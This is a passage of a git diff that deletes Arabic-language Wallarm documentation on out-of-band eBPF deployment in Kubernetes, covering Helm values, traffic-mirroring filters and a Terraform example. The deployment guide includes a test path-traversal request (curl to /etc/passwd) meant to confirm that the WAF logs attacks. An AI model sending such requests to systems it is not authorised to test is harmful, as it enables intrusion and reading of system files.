فعال. لذلك، نوصي بتمكين تطابق المرور على وجه التحديد لوحدات التحكم NGINX Ingress، أو وحدات التحكم Kong Ingress، أو خوادم NGINX العادية في Kubernetes. -* يجب أن يكون لحساب المستخدم الخاص بك [وصول **المدير**](../../../user-guides/settings/users.md#user-roles) إلى وحدة التحكم Wallarm. - -إذا كانت حالة الاستخدام الخاصة بك تختلف عن المتطلبات المدرجة، اتصل ب [مبرمجي المبيعات](mailto:sales@wallarm.com) التوفير معلومات تقنية مفصلة حول بيئتك لاستكشاف التعديلات المحتملة لتلبية احتياجاتك المحددة. - -## الوصول إلى الشبكة - -لضمان عمل الحل بشكل صحيح في البيئات ذات المرور الصادر المقيد، قم بتكوين الوصول إلى الشبكة للسماح بالموارد الخارجية التالية: - -* `https://charts.wallarm.com` لإضافة خرائط Wallarm Helm. -* `https://hub.docker.com/r/wallarm` لاسترداد صور Docker من Wallarm من Docker Hub -* بالنسبة للمستخدمين الذين يعملون مع Wallarm Cloud الأمريكية، قم بالوصول إلى `https://us1.api.wallarm.com`. بالنسبة لأولئك الذين يستخدمون Wallarm Cloud الأوروبي، قم بالدخول على `https://api.wallarm.com`. - -## النشر - -لنشر حل Wallarm eBPF: - -1. إنشاء العقدة Wallarm. -1. نشر الخريطة Helm Wallarm. -1. تمكين تطابق المرور. -1. اختبار عملية Wallarm eBPF. - -### الخطوة 1: إنشاء العقدة Wallarm - -1. افتح Wallarm Console → **Nodes** عبر الرابط أدناه: - - * https://us1.my.wallarm.com/nodes بالنسبة لـ Cloud الأمريكية - * https://my.wallarm.com/nodes بالنسبة لـ Cloud الأوروبية -1. إعداد عقدة الترشيح مع نوع **Wallarm node** ونسخ الرمز المكون. - - ![!انشاء عقدة Wallarm](../../../images/user-guides/nodes/create-wallarm-node-name-specified.png) - -### الخطوة 2: نشر الخريطة Helm Wallarm - -1. تأكد من أن بيئتك تلبي المتطلبات المذكورة أعلاه وأن [مدير الشهادات](https://cert-manager.io/docs/installation/helm/) مثبت. -1. أضف [مستودع الرسم البياني Wallarm](https://charts.wallarm.com/): - ``` - helm repo add wallarm https://charts.wallarm.com - helm repo update wallarm - ``` -1. قم بإنشاء ملف `values.yaml` مع [تكوين حل Wallarm eBPF](helm-chart-for-wallarm.md). - - مثال على الملف مع التكوين الأدنى: - - === "US Cloud" - ```yaml - config: - api: - token: "" - host: "us1.api.wallarm.com" - ``` - === "EU Cloud" - ```yaml - config: - api: - token: "" - ``` - - `` هو رمز العقدة Wallarm التي يتم تشغيلها في Kubernetes. - - --8<-- "../include/waf/installation/info-about-using-one-token-for-several-nodes.md" -1. نشر الخريطة Helm Wallarm: - - ``` bash - helm install --version 0.10.27 wallarm/wallarm-oob --wait -n wallarm-ebpf --create-namespace -f - ``` - - * `` هو الاسم للإصدار Helm من رسم eBPF Wallarm - * `wallarm-ebpf` هو الفضاء الاسمي الجديد لنشر الإصدار Helm مع الرسم البياني eBPF Wallarm، يوصى بنشره في فضاء اسمي منفصل - * `` هو المسار إلى ملف `values.yaml` - -### الخطوة 3: تمكين تطابق المرور - -نوصي بتمكين تطابق المرور لاستخدام حل Wallarm eBPF بشكل فعال لوحدة التحكم NGINX Ingress، أو وحدة التحكم Kong Ingress، أو خوادم NGINX العادية. - -بشكل افتراضي، الحل المنشور لا يحلل أي مرور. لتمكين تحليل المرور، تحتاج إلى تمكين تطابق المرور على المستوى المرغوب، الذي يمكن أن يكون: - -* للفضاء الاسمي -* للوعاء -* لاسم العقدة أو الوعاء - -هناك طريقتان لتمكين تطابق المرور: باستخدام فلاتر ديناميكية على شكل تسميات الفضاء الاسمي أو تعليمات التوجيه pod، أو التحكم فيه من خلال كتلة `config.agent.mirror.filters` في ملف `values.yaml`. يمكنك أيضًا دمج هذه النهج. [المزيد من التفاصيل](selecting-packets.md) - -#### للفضاء الاسمي باستخدام تسمية - -لتمكين المرآة للفضاء الاسمي، قم بتعيين تسمية الفضاء الاسمي `wallarm-mirror` إلى `enabled`: - -``` -kubectl label ns wallarm-mirror=enabled -``` - -#### للوعاء باستخدام تعليمة توجيه - -لتمكين المرآة للوعاء، قم بتعيين تعليمة توجيه `mirror.wallarm.com/enabled` إلى `true`: - -```bash -kubectl patch deployment -n -p '{"spec": {"template":{"metadata":{"annotations":{"mirror.wallarm.com/enabled":"true"}}}} }' -``` - -#### للفضاء الاسمي، الوعاء، الوعاء، أو العقدة باستخدام `values.yaml` - -للتحكم أكثر دقة، يمكنك استخدام كتلة `config.agent.mirror.filters` في ملف `values.yaml` للرسم البياني Wallarm eBPF لتحديد مستوى المرآة. اقرأ [المقالة](selecting-packets.md) حول كيفية تكوين فلاتر وكيفية التفاعل مع تسميات الفضاء الاسمي Wallarm وتعليمات التوجيه في الوعاء. - -### الخطوة 4: اختبار عملية Wallarm eBPF - -للاختبار أن Wallarm eBPF تعمل بشكل صحيح: - -1. احصل على تفاصيل وعاء Wallarm للتحقق من أنها تم بدءها بنجاح: - - ```bash - kubectl get pods -n -l app.kubernetes.io/name=wallarm-oob - ``` - - يجب عرض الوعاء لكل منهما ما يلي: **READY: N/N** و **STATUS: Running**، على سبيل المثال: - - ``` - NAME READY STATUS RESTARTS AGE - wallarm-ebpf-wallarm-oob-agent-599xg 1/1 Running 0 7m16s - wallarm-ebpf-wallarm-oob-aggregation-f68959465-vchxb 4/4 Running 0 30m - wallarm-ebpf-wallarm-oob-processing-694fcf9b47-rknx9 4/4 Running 0 30m - ``` -1. أرسل هجوم الاختبار [Path Traversal](../../../attacks-vulns-list.md#path-traversal) للتطبيق عن طريق استبدال `` بالعنوان IP الفعلي أو اسم DNS لموزع الحمولة الذي يوجه المرور إليه: - - ```bash - curl https:///etc/passwd - ``` - - نظرًا لأن حل Wallarm eBPF يعمل بنهج خارج النطاق، فإنه لا يحظر الهجمات ولكن فقط يسجلها. - - للتحقق من أن الهجوم تم تسجيله، انتقل إلى Wallarm Console → **Events**: - - ![!الهجمات في الواجهة](../../../images/waf-installation/epbf/ebpf-attack-in-ui.png) - -## القيود - -* الحل لا يحظر فوريًا الطلبات الخبيثة حيث يتابع تحليل المرور بغض النظر عن تدفق المرور الفعلي. - - Wallarm فقط تلاحظ الهجمات وتوفر لك [التفاصيل في وحدة التحكم Wallarm](../../../user-guides/events/analyze-attack.md). -* كشف الثغرات الأمنية القائمة على [الكشف السلبي](../../../about-wallarm/detecting-vulnerabilities.md#passive-detection) غير متاح حيث أن أجسام الرد من الخادم المطلوبة لتحديد الثغرات الأمنية لا يتم تطابقها. -* بينما الحل ما زال في البيتا، ليست كل موارد Kubernetes يمكن أن تكون متطابقة بشكل فعال. لذلك، نوصي بتمكين تطابق المرور خصيصاً لوحدات التحكم NGINX Ingress، أو وحدات التحكم Kong Ingress، أو خوادم NGINX العادية في Kubernetes. diff --git a/docs/latest-ar/installation/oob/ebpf/helm-chart-for-wallarm.md b/docs/latest-ar/installation/oob/ebpf/helm-chart-for-wallarm.md deleted file mode 100644 index 3117cc1ab2..0000000000 --- a/docs/latest-ar/installation/oob/ebpf/helm-chart-for-wallarm.md +++ /dev/null @@ -1,169 +0,0 @@ -# القيم المحددة لـ Wallarm في جدول Wallarm eBPF Helm - -يوفر هذا المستند معلومات عن قيم جدول Helm المحددة لـ Wallarm والتي يمكن تعديلها أثناء [التوزيع](deployment.md) أو تحديث حل eBPF. تتحكم هذه القيم بالتكوين العام لجدول Helm الخاص بـ Wallarm eBPF. - -يظهر الجزء المحدد لـ Wallarm من ملف `values.yaml` الافتراضي الذي قد تحتاج إلى تغييره كما يلي: - -```yaml -config: - api: - token: "" - host: api.wallarm.com - port: 443 - useSSL: true - mutualTLS: false - agent: - mirror: - allNamespaces: false - filters: [] - # - namespace: "default" - # - namespace: 'my-namespace' - # pod_labels: - # label_name1: 'label_value_1' - # label_name2: 'label_value_2,label_value_3' - # pod_annotations: - # annotation_name1: 'annotation_value_1' - # annotation_name2: 'annotation_value_2,annotation_value_4' - loadBalancerRealIPHeader: 'X-Real-IP' - loadBalancerTrustedCIDRs: [] - # - 10.0.0.0/8 - # - 192.168.0.0/16 - # - 172.16.0.0/12 - # - 127.0.0.0/8 - # - fd00::/8 - ... -processing: - ... - metrics: - enabled: false - ... - - affinity: {} - # podAntiAffinity: - # preferredDuringSchedulingIgnoredDuringExecution: - # - weight: 100 - # podAffinityTerm: - # labelSelector: - # matchExpressions: - # - key: component - # operator: In - # values: - # - mtls-router - # - key: app - # operator: In - # values: - # - mtls-router - # topologyKey: kubernetes.io/hostname - nodeSelector: - kubernetes.io/os: linux -``` - -## config.api.token - -رمز عُقدة Wallarm المُنشأ في لوحة تحكم Wallarm في السحابة [الأمريكية](https://us1.my.wallarm.com/nodes) أو [الأوروبية](https://my.wallarm.com/nodes). مطلوب للوصول إلى واجهة برمجة تطبيقات Wallarm. - -## config.api.host - -نقطة نهاية واجهة برمجة تطبيقات Wallarm. يمكن أن يكون: - -* `us1.api.wallarm.com` للسحابة [الأمريكية](../../../about-wallarm/overview.md#us-cloud) -* `api.wallarm.com` للسحابة [الأوروبية](../../../about-wallarm/overview.md#eu-cloud) (الافتراضي) - -## config.api.port - -منفذ نقطة نهاية واجهة برمجة تطبيقات Wallarm. بشكل افتراضي، `443`. - -## config.api.useSSL - -يُحدد ما إذا كان سيتم استخدام SSL للوصول إلى واجهة برمجة تطبيقات Wallarm. بشكل افتراضي، `true`. - -## config.mutualTLS - -يُمكّن دعم mTLS، مما يسمح لـ [عقدة معالجة Wallarm](deployment.md#how-it-works) بالتحقق من أمان حركة المرور من وكيل eBPF. بشكل افتراضي، `false` (معطل). - -يتم دعم البارامتر بدءًا من إصدار جدول Helm 0.10.26. - -## config.agent.mirror.allNamespaces - -يُمكّن تطابق حركة المرور لكل الفضاءات الاسمية. القيمة الافتراضية هي `false`. - -!!! تحذير "غير موصى به الضبط على `true`" - تمكين هذا بضبطه على `true` قد يتسبب في تكرار البيانات وزيادة استخدام الموارد. يُفضل [التطابق الانتقائي](selecting-packets.md) باستخدام تسميات الفضاءات الاسمية، تعليقات pod، أو `config.agent.mirror.filters` في `values.yaml`. - -## config.agent.mirror.filters - -يتحكم في مستوى تطابق حركة المرور. إليك مثال على بارامتر `filters`: - -```yaml -... - agent: - mirror: - allNamespaces: false - filters: - - namespace: "default" - - namespace: 'my-namespace' - pod_labels: - label_name1: 'label_value_1' - label_name2: 'label_value_2,label_value_3' - pod_annotations: - annotation_name1: 'annotation_value_1' - annotation_name2: 'annotation_value_2,annotation_value_4' -``` - -[المزيد من التفاصيل](selecting-packets.md) - -## config.agent.loadBalancerRealIPHeader - -يحدد اسم الرأس المستخدم من قِبل موازن الحمل لنقل عنوان IP الأصلي للعميل. راجع وثائق موازن الحمل الخاص بك لتحديد اسم الرأس الصحيح. بشكل افتراضي، `X-Real-IP`. - -تمكّن بارامترات `loadBalancerRealIPHeader` و`loadBalancerTrustedCIDRs` Wallarm eBPF من تحديد عنوان IP المصدر بدقة عند توجيه حركة المرور من خلال موازن حمل L7 (مثل AWS ALB) خارجي إلى مجموعة Kubernetes. - -## config.agent.loadBalancerTrustedCIDRs - -يُحدد قائمة بيضاء من نطاقات CIDR لموازنات الحمل L7 الموثوق بها. المثال: - -```yaml -config: - agent: - loadBalancerTrustedCIDRs: - - 10.10.0.0/24 - - 192.168.0.0/16 -``` - -لتحديث هذه القيم باستخدام Helm: - -``` -# لإضافة عنصر واحد إلى القائمة: -helm upgrade --set 'config.agent.loadBalancerTrustedCIDRs[0]=10.10.0.0/24' - -# لإضافة عناصر متعددة إلى القائمة: -helm upgrade --set 'config.agent.loadBalancerTrustedCIDRs[0]=10.10.0.0/24,config.agent.loadBalancerTrustedCIDRs[1]=192.168.0.0/16' -``` - -## processing.metrics - -يتحكم في تكوين [خدمة مقاييس](../../../admin-en/configure-statistics-service.md) عقدة Wallarm. بشكل افتراضي، الخدمة معطلة. - -إذا قمت بتمكين الخدمة، يوصى بالاحتفاظ بالقيم الافتراضية لـ `port`، `path`، و`scrapeInterval`: - -```yaml -processing: - ... - metrics: - enabled: true - port: 9090 - path: /metrics - scrapeInterval: 30s -``` - -## processing.affinity وprocessing.nodeSelector - -يتحكم في العُقد Kubernetes التي يتم نشر مجموعة الشياطين Wallarm eBPF عليها. بشكل افتراضي، يتم نشرها على كل عقدة. - -## تطبيق التغييرات - -إذا قمت بتعديل ملف `values.yaml` وتريد ترقية الجدول الموزع لديك، استخدم الأمر التالي: - -``` -helm upgrade wallarm/wallarm-oob -n wallarm-ebpf -f -``` \ No newline at end of file diff --git a/docs/latest-ar/installation/oob/ebpf/selecting-packets.md b/docs/latest-ar/installation/oob/ebpf/selecting-packets.md deleted file mode 100644 index 1670c3a66b..0000000000 --- a/docs/latest-ar/installation/oob/ebpf/selecting-packets.md +++ /dev/null @@ -1,185 +0,0 @@ -# اختيار المصادر للمرآة - -تعمل [حلول Wallarm eBPF](deployment.md) على مرآة المرور وتوفر السيطرة على نطاق مرآة المرور. تسمح لك بإنتاج مرآة الحزم بواسطة أسماء فضاءات Kubernetes والبودات والحاويات. يشرح هذا الدليل كيفية إدارة عملية الاختيار. - -هناك عدة طرق متاحة لاختيار الحزم للمرآة: - -* تطبيق الوسم `wallarm-mirror` على فضاء اسم لمرآة كل حركة المرور للبودات داخل هذا الفضاء. -* تطبيق الوسم `mirror.wallarm.com/enabled` على بود معين لمرآة حركة المرور الخاصة به. -* تكوين الإعداد `config.agent.mirror.filters` في ملف `values.yaml` لمخطط Helm الخاص بWallarm. يسمح هذا الإعداد بتمكين المرآة على مستويات فضاء الاسم والبود والحاوية أو العقدة. - -## المرآة لفضاء اسم باستخدام الوسم - -للتحكم في المرآة على مستوى فضاء الاسم، طبق وسم `wallarm-mirror` على فضاء الاسم Kubernetes المطلوب واضبط قيمته إما على `enabled` أو `disabled`، مثلاً: - -``` -kubectl label ns wallarm-mirror=enabled -``` - -## المرآة لبود باستخدام الوسم - -للتحكم في المرآة على مستوى البود، استخدم الوسم `mirror.wallarm.com/enabled` واضبط قيمته إما على `true` أو `false`، مثلاً: - -```bash -kubectl patch deployment -n -p '{"spec": {"template":{"metadata":{"annotations":{"mirror.wallarm.com/enabled":"true"}}}} }' -``` - -## المرآة لفضاء اسم، بود، حاوية، أو عقدة باستخدام `values.yaml` - -يسمح القسم `config.agent.mirror.filters` في ملف `values.yaml` بالتحكم الدقيق في مستويات المرآة لحركة المرور. يمكّن هذا النهج من التحكم في المرآة للكيانات التالية: - -* فضاء الاسم - باستخدام المعلم `filters.namespace` -* البود - باستخدام إما `filters.pod_labels` مع وسوم البود أو `filters.pod_annotations` مع وسوم البود -* العقدة - باستخدام المعلم `filters.node_name` -* الحاوية - باستخدام المعلم `filters.container_name` - -### اختيار فضاء اسم - -لتمكين المرآة لحركة المرور لفضاء اسم معين، حدد اسمه في المعلم `filters.namespace`. على سبيل المثال، لتمكين المرآة لحركة المرور لفضاء اسم Kubernetes `my-namespace`: - -```yaml -config: - agent: - mirror: - filters: - - namespace: 'my-namespace' -``` - -### اختيار بود - -يمكنك اختيار بود لمرآة حركة المرور من خلال وسوم ووسوم توضيحية للبود. وإليك كيفية القيام بذلك: - -=== "اختيار بود بوسم" - لتمكين المرآة لحركة المرور لبود يحمل وسم معين، استخدم المعلم `pod_labels`. - - على سبيل المثال، لتمكين المرآة لحركة المرور لبود يحمل وسم `environment: production`: - - ```yaml - config: - agent: - mirror: - filters: - - pod_labels: - environment: 'production' - ``` - - إذا كانت هناك حاجة لعدة وسوم لتحديد البود، يمكنك تحديد عدة وسوم. على سبيل المثال، يتيح الإعداد التالي للـ Wallarm eBPF مرآة وتحليل حركة المرور للبودات التي تحمل وسوم `environment: production و(team: backend أو team: ops)`: - - ```yaml - config: - agent: - mirror: - filters: - - pod_labels: - environment: 'production' - team: 'backend,ops' - ``` -=== "اختيار بود بوسم توضيحي" - لتمكين المرآة لحركة المرور لبود يحمل وسم توضيحي معين، استخدم المعلم `pod_annotations`. - - على سبيل المثال، لتمكين المرآة لحركة المرور لبود يحمل الوسم التوضيحي `app.kubernetes.io/name: myapp`: - - ```yaml - config: - agent: - mirror: - filters: - - pod_annotations: - app.kubernetes.io/name: 'myapp' - ``` - - إذا كانت هناك حاجة لعدة وسوم توضيحية لتحديد البود، يمكنك تحديد عدة وسوم توضيحية. على سبيل المثال، يتيح الإعداد التالي للـ Wallarm eBPF مرآة وتحليل حركة المرور للبودات التي تحمل وسوم توضيحية التالية: - - ``` - app.kubernetes.io/name: myapp و(app.kubernetes.io/instance: myapp-instance-main أو - app.kubernetes.io/instance: myapp-instance-reserve) - ``` - - ```yaml - config: - agent: - mirror: - filters: - - pod_annotations: - app.kubernetes.io/name: 'myapp' - app.kubernetes.io/instance: 'myapp-instance-main,myapp-instance-reserve' - ``` - -### اختيار عقدة - -لتمكين المرآة لحركة المرور لعقدة Kubernetes معينة، حدد اسم العقدة في المعلم `filters.node_name`. على سبيل المثال، لتمكين المرآة لحركة المرور للعقدة `my-node` في Kubernetes: - -```yaml -config: - agent: - mirror: - filters: - - node_name: 'my-node' -``` - -### اختيار حاوية - -لتمكين المرآة لحركة المرور لحاوية Kubernetes معينة، حدد اسم الحاوية في المعلم `filters.container_name`. على سبيل المثال، لتمكين المرآة لحركة المرور للحاوية `my-container` في Kubernetes: - -```yaml -config: - agent: - mirror: - filters: - - container_name: 'my-container' -``` - -### تطبيق التغييرات - -إذا قمت بتعديل ملف `values.yaml` وأردت ترقية مخططك المنشور، استخدم الأمر التالي: - -``` -helm upgrade wallarm/wallarm-oob -n wallarm-ebpf -f -``` - -## الأولويات بين الوسوم والوسوم التوضيحية والمرشحات - -عند استخدام طرق اختيار متعددة وتمكين المرآة على مستوى أعلى، يأخذ المستوى الأقل تكويناً الأسبقية. - -إذا تم تعطيل المرآة على المستوى الأعلى، لا يتم تطبيق الإعدادات الأدنى منه على الإطلاق، حيث يكون للمستوى الأعلى الأولوية عند تعطيل المرآة لحركة المرور. - -في حالة تحديد نفس الكائن للمرآة من خلال وسائل مختلفة (على سبيل المثال، باستخدام وسم بود Wallarm وقسم `filters` في ملف `values.yaml`)، يأخذ وسم بود Wallarm الأسبقية. - -## أمثلة - -توفر الوسوم والوسوم التوضيحية والمرشحات درجة عالية من المرونة في تحديد مستوى المرآة وتحليل حركة المرور. ومع ذلك، يمكن أن تتداخل مع بعضها البعض. إليك بعض أمثلة التكوين لمساعدتك على فهم كيفية عملها معًا. - -### تكوين متعدد المستويات في `values.yaml` - -فكر في التكوين `values.yaml` التالي: - -```yaml -config: - agent: - mirror: - filters: - - namespace: "default" - - namespace: 'my-namespace' - pod_labels: - environment: 'production' - team: 'backend,ops' - pod_annotations: - app.kubernetes.io/name: 'myapp' -``` - -يتم تطبيق المرشحات كما يلي: - -``` -namespace: default أو(namespace: my-namespace وenvironment: production و(team: backend -أو team: ops) وapp.kubernetes.io/name: myapp) -``` - -### دمج وسوم فضاء الاسم، ووسوم توضيحية البود، ومرشحات `values.yaml` - -| التكوين | النتيجة | -| ------------- | ------ | -|
      • القيمة في `values.yaml` → `config.agent.mirror.allNamespaces` تم ضبطها على `true` و
      • وسم فضاء الاسم هو `wallarm-mirror=disabled`
      | لا يتم مرآة فضاء الاسم | -|
      • وسم فضاء الاسم هو `wallarm-mirror=enabled` و
      • الوسم التوضيحي للبود هو `mirror.wallarm.com/enabled=false`
      | لا يتم مرآة البود | -|
      • وسم فضاء الاسم هو `wallarm-mirror=disabled` و
      • الوسم التوضيحي للبود هو `mirror.wallarm.com/enabled=true`، أو أي إعداد آخر منخفض المستوى مختار للمرآة لحركة المرور
      | لا يتم مرآة البود | -|
      • وسم فضاء الاسم هو `wallarm-mirror=disabled` و
      • يتم اختيار نفس فضاء الاسم في `values.yaml` → `config.agent.mirror.filters`
      | لا يتم مرآة فضاء الاسم -|
      • الوسم التوضيحي للبود هو `mirror.wallarm.com/enabled=false` و
      • يتم اختيار نفس البود في `values.yaml` → `config.agent.mirror.filters`
      | لا يتم مرآة البود \ No newline at end of file diff --git a/docs/latest-ar/installation/oob/overview.md b/docs/latest-ar/installation/oob/overview.md deleted file mode 100644 index cc90d81047..0000000000 --- a/docs/latest-ar/installation/oob/overview.md +++ /dev/null @@ -1,46 +0,0 @@ -# نظرة عامة على نشر Wallarm خارج النطاق - -يمكن نشر Wallarm كحل أمان خارج النطاق (OOB) يقوم بفحص الطلبات من خلال مرآة للحركة المرورية. يشرح هذا المقال الطريقة بالتفصيل. - -تشمل طريقة OOB وضع حل Wallarm في قطاع شبكة منفصل، حيث يمكنه فحص الحركة المرورية الواردة دون التأثير على المسار الرئيسي للبيانات ونتيجة لذلك، على أداء التطبيق. تصل جميع الطلبات الواردة بما في ذلك الضارة إلى الخوادم الموجهة إليها. - -## حالات الاستخدام - -تعتبر مرآة الحركة المرورية أحد المكونات الأساسية لطريقة OOB. يتم إرسال نسخة (مرآة) من الحركة المرورية الواردة إلى حل Wallarm OOB، الذي يعمل على النسخة، بدلاً من الحركة المرورية الفعلية. - -نظرًا لأن حل OOB لا يسجل سوى النشاط الضار دون حظره، يُعد طريقة فعّالة لتنفيذ أمن تطبيقات الويب وواجهات برمجة التطبيقات للمنظمات ذات المتطلبات الأقل صرامة للحماية الفورية. الحل OOB مناسب للحالات الاستخدامية التالية: - -* الحصول على معرفة حول جميع التهديدات المحتملة التي قد تواجهها تطبيقات الويب وواجهات برمجة التطبيقات، دون التأثير على أداء التطبيق. -* تدريب حل Wallarm على نسخة الحركة المرورية قبل تشغيل الوحدة [عبر الإنترنت](../inline/overview.md). -* تسجيل سجلات الأمان لأغراض التدقيق. Wallarm توفر [تكاملات أصلية](../../user-guides/settings/integrations/integrations-intro.md) مع العديد من أنظمة SIEM، والرسائل، وما إلى ذلك. - -الرسم البياني أدناه يوفر تمثيلًا بصريًا لتدفق الحركة المرورية العام في نشر Wallarm خارج النطاق. قد لا يلتقط الرسم البياني جميع التباينات الممكنة في البنية التحتية. يمكن توليد مرآة الحركة المرورية في أي طبقة داعمة من البنية التحتية وإرسالها إلى عقد Wallarm. بالإضافة إلى ذلك، قد تتضمن الإعدادات المحددة تباينات مختلفة في توازن الحمل وتكوينات أخرى على مستوى البنية التحتية. - -![مخطط OOB](../../images/waf-installation/oob/wallarm-oob-deployment-scheme.png) - -## المزايا والقيود - -توفر طريقة نشر Wallarm خارج النطاق عدة مزايا مقارنة بطرق النشر الأخرى، مثل النشر عبر الإنترنت: - -* لا تسبب تأخيرًا أو مشكلات أداء أخرى قد تحدث عندما تعمل الحلول الأمنية عبر الإنترنت مع المسار الرئيسي للبيانات. -* توفر مرونة وسهولة في النشر، حيث يمكن إضافة الحل أو إزالته من الشبكة دون التأثير على المسار الرئيسي للبيانات. - -بالرغم من سلامة طريقة نشر OOB، إلا أن لها بعض القيود: - -* Wallarm لا تحظر الطلبات الضارة بشكل فوري نظرًا لأن تحليل الحركة المرورية يتم بغض النظر عن تدفق الحركة المرورية الفعلي. - - Wallarm يلاحظ الهجمات فقط ويزودك بـ[التفاصيل في واجهة Wallarm](../../user-guides/events/analyze-attack.md). -* اكتشاف الثغرات الأمنية باستخدام أسلوب [الكشف السلبي](../../about-wallarm/detecting-vulnerabilities.md#passive-detection) لا يعمل بشكل صحيح. يحدد الحل ما إذا كانت واجهة برمجة التطبيقات معرضة للخطر أم لا بناءً على استجابات الخادم للطلبات الضارة المعتادة للثغرات الأمنية التي يختبرها. -* [اكتشاف API Wallarm](../../api-discovery/overview.md) لا يستكشف جرد API بناءً على حركتك المرورية حيث أن استجابات الخادم المطلوبة لتشغيل الوحدة غير مُعكسة. - - استثناء هو حل [eBPF](ebpf/deployment.md)، الذي يُجري اكتشاف جرد API بتحليل أكواد الاستجابة. -* [الحماية ضد الاستعراض القسري](../../admin-en/configuration-guides/protecting-against-bruteforce.md) غير متاحة نظرًا لأنها تتطلب تحليل أكواد الاستجابة الذي لا يمكن القيام به حاليًا. - - استثناء هو حل [eBPF](ebpf/deployment.md)، الذي يحلل أكواد الاستجابة، مما يجعله مناسبًا لهذا الغرض. - -## خيارات النشر المدعومة - -Wallarm توفر الخيارات التالية لنشر خارج النطاق: - -* العديد من القطع المتاحة من Wallarm يمكن استخدامها لـ[نشر Wallarm لتحليل الحركة المرورية المعكوسة بواسطة خدمات مثل NGINX، Envoy، Istio، إلخ.](web-server-mirroring/overview.md) توفر هذه الخدمات عادةً ميزات مدمجة لمرآة الحركة المرورية، وتكون القطع الأثرية من Wallarm مناسبة جيدًا لتحليل الحركة المرورية المعكوسة بواسطة مثل هذه الحلول. -* [حل قائم على eBPF](ebpf/deployment.md) \ No newline at end of file diff --git a/docs/latest-ar/installation/oob/terraform-module/mirroring-by-web-server.md b/docs/latest-ar/installation/oob/terraform-module/mirroring-by-web-server.md deleted file mode 100644 index 8e857023e4..0000000000 --- a/docs/latest-ar/installation/oob/terraform-module/mirroring-by-web-server.md +++ /dev/null @@ -1,73 +0,0 @@ -# نشر Wallarm OOB لـ NGINX وEnvoy ومرايا مشابهة باستخدام وحدة Terraform - -تعرض هذه المقالة **مثالًا** عن كيفية نشر Wallarm على AWS كحل خارج النطاق باستخدام [وحدة Terraform الخاصة بـ Wallarm](https://registry.terraform.io/modules/wallarm/wallarm/aws/). يُتوقع أن يقوم NGINX وEnvoy وIstio و/أو Traefik بتوفير ميزة مرايا الحركة. - -## حالات الاستخدام - -من بين كافة [خيارات نشر Wallarm المدعومة](https://docs.wallarm.com/installation/supported-deployment-options)، يُوصى باستخدام وحدة Terraform لنشر Wallarm على AWS VPC في هذه **حالات الاستخدام**: - -* تتواجد البنية التحتية الحالية لديك على AWS. -* تستفيد من ممارسة البنية التحتية كرموز (IaC). تسمح وحدة Terraform الخاصة بـ Wallarm بإدارة وتوفير تجهيز تلقائي لعقدة Wallarm على AWS، مما يعزز الكفاءة والاتساق. - -## المتطلبات - -* Terraform 1.0.5 أو أحدث [مُثبت محليًا](https://learn.hashicorp.com/tutorials/terraform/install-cli) -* الوصول إلى الحساب بدور **المدير** [الدور](https://docs.wallarm.com/user-guides/settings/users/#user-roles) في وحدة تحكم Wallarm في سحابة الولايات المتحدة أو الاتحاد الأوروبي [السحابة](https://docs.wallarm.com/about-wallarm/overview/#cloud) -* الوصول إلى `https://us1.api.wallarm.com` إذا كنت تعمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` إذا كنت تعمل مع سحابة Wallarm الأوروبية. يرجى التأكد من عدم حجب الوصول بواسطة جدار الحماية - -## هندسة الحل - -![Wallarm للحركة المعكوسة](https://github.com/wallarm/terraform-aws-wallarm/blob/main/images/wallarm-for-mirrored-traffic.png?raw=true) - -المكونات الرئيسية لحل Wallarm هذا هي كالآتي: - -* جهاز توجيه الحمل المواجه للإنترنت يوجه الحركة إلى عقد Wallarm. يُتوقع أن يكون جهاز توجيه الحمل قد تم نشره بالفعل، وحدة `wallarm` لن تقوم بإنشاء هذا المورد. -* أي خادم ويب أو بروكسي (مثل NGINX، Envoy) يخدم الحركة من جهاز توجيه الحمل ويرايا الطلبات HTTP إلى نقطة نهاية ALB الداخلية وخدمات الخلفية. يُتوقع أن يكون المكون المستخدم لمرايا الحركة قد تم نشره بالفعل، وحدة `wallarm` لن تقوم بإنشاء هذا المورد. -* ALB داخلي يقبل طلبات HTTPS المعكوسة من خادم ويب أو بروكسي ويوجهها إلى عقد Wallarm. -* عقدة Wallarm تقوم بتحليل الطلبات من ALB الداخلي وترسل بيانات الحركة الخبيثة إلى سحابة Wallarm. - - يعمل المثال على تشغيل عقد Wallarm في وضع الرصد الذي يحدد السلوك الموصوف. إذا قمت بتغيير [الوضع](https://docs.wallarm.com/admin-en/configure-wallarm-mode/) إلى قيمة أخرى، تواصل العقد مراقبة الحركة فقط حيث أن طريقة [OOB](https://docs.wallarm.com/installation/oob/overview/#advantages-and-limitations) لا تسمح بحظر الهجمات. - -سيتم نشر آخر مكونين بواسطة وحدة `wallarm` الموفرة كمثال. - -## مكونات الرمز - -يحتوي هذا المثال على المكونات الرئيسية التالية للرمز: - -* `main.tf`: التكوين الرئيسي لوحدة `wallarm` ليتم نشرها كحل مرايا. ينتج التكوين ALB داخلي في AWS وحالات Wallarm. - -## تشغيل مثال حل مرايا Wallarm - -لتشغيل مثال حل مرايا Wallarm، تحتاج إلى تكوين مرايا طلبات HTTP ثم نشر الحل. - -### 1. تكوين مرايا طلبات HTTP - -مرايا الحركة هي ميزة تقدمها العديد من خوادم الويب والبروكسي. يوفر الرابط أدناه التوثيق حول كيفية تكوين مرايا الحركة مع بعضها [الرابط](https://docs.wallarm.com/installation/oob/web-server-mirroring/overview/#examples-of-web-server-configuration-for-traffic-mirroring). - -### 2. نشر مثال حل مرايا Wallarm - -1. اشترك في وحدة تحكم Wallarm في [سحابة الاتحاد الأوروبي](https://my.wallarm.com/nodes) أو [سحابة الولايات المتحدة](https://us1.my.wallarm.com/nodes). -1. افتح وحدة تحكم Wallarm → **العقد** وأنشئ عقدة من نوع **عقدة Wallarm**. -1. انسخ رمز العقدة المولد. -1. قم بنسخ مستودع التعليمات البرمجية المثالية إلى جهازك: - - ``` - git clone https://github.com/wallarm/terraform-aws-wallarm.git - ``` -1. حدد قيم المتغيرات في خيارات `الافتراضي` في ملف `examples/mirror/variables.tf` في المستودع المنسوخ واحفظ التغييرات. -1. نفذ الأوامر التالية من دليل `examples/mirror` لنشر الحزمة: - - ``` - terraform init - terraform apply - ``` - -لإزالة البيئة المنشورة، استخدم الأمر التالي: - -``` -terraform destroy -``` - -## المراجع - -* [AWS VPC مع شبكات فرعية عامة وخاصة (NAT)](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html) \ No newline at end of file diff --git a/docs/latest-ar/installation/oob/terraform-module/terraform-aws-wallarm 